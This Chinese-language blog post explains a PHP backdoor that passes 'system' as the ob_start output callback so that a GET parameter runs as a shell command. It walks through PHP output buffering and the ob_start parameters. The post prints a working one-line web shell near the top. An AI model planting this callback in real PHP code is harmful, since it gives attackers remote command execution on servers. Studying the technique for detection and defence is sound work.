php ob_start 后门

原文地址:http://cutt.com/article/1521598558

原文中给出了ob_start的后门例子,代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>
然后浏览器中的效果就是:

ob_start()的参数如果是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用,都会有后门风险。

在分析ob_start函数之前,先了解一下php的output_buffering(ob)机制。

php output_buffering

buffer是一个内存地址空间,Linux系统默认大小一般为4096(4kb),即一个内存页。主要用于存储速度不同步的设备或者优先级不同的设备之间传办理数据的区域。通过buffer,可以使进程之间的相互等待变少。这里说一个通俗一点的例子,你打开文本编辑器编辑一个文件的时候,你每输入一个字符,操作系统并不会立即把这个字符直接写入到磁盘,而是先写入到buffer,当写满了一个buffer的时候,才会把buffer中的数据写入磁盘,当然当调用内核函数flush()的时候,强制要求把buffer中的脏数据写回磁盘。

同样的道理,当php执行echo,print的时候,输出并没有立即通过tcp传给客户端浏览器显示,而是将数据写入php buffer。php output_buffering机制,意味在tcp buffer之前,建立了一新的队列,数据必须经过该队列。当一个php buffer写满的时候,脚本进程会将php buffer中的输出数据交给系统内核交由tcp传给浏览器显示。所以,数据会依次写到这几个地方echo/pring -> php buffer -> tcp buffer -> browser。

默认情况下,php buffer是开启的,而且该buffer默认值是4096,即4kb。你可以通过在php.ini配置文件中找到output_buffering配置。当echo,print等输出用户数据的时候,输出数据都会写入到php output_buffering中,直到output_buffering写满,会将这些数据通过tcp传送给浏览器显示。你也可以通过ob_start()手动激活php output_buffering机制,使得即便输出超过了4kb数据,也不真的把数据交给tcp传给浏览器,因为ob_start()将php buffer空间设置到了足够大。只有直到脚本结束,或者调用ob_end_flush函数,才会把数据发送给客户端浏览器。

ob_start

作用就是打开输出缓存,输出不能从脚本送出(除http头外),相反输出的内容被存储在内部缓冲区中。ob_start的原型为:

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

参数说明:
  • output_callback,函数把一个字符串当作参数并返回一个字符串。 此函数在下情况会被调用到:输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器时。 当 output_callback 被调用时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。 如果这个 output_callback 不是一个可以调用的函数,此函数 会返回 FALSE
  • chunk_size,也就是指定缓冲区的大小,默认值是0,表示足够大;
  • erase,如果可选参数 erase 被赋成 FALSE,直到脚本执行完成缓冲区才被删除。 这使得,如果调用了冲刷和清洗(清除)函数,会抛出一个“notice”,并返回 FALSE 值。

了解了ob_start就知道为什么会造成后门了,在一开始的例子中,output_callback的值为system,然后将参数a的内容“whoami”写入了缓存,所以在flush时会调用system函数,或者不用flush,在脚本结束时同样也会调用system,缓存中的内容“whoami”作为参数传递给了system,效果就是system("whoami"),然后再将执行结果输出到浏览器中。

至于后门的防范方法原文中也给出了,类似的问题要多多注意。

你可能感兴趣的:(PHP,浏览器,System,buffer,callback,output)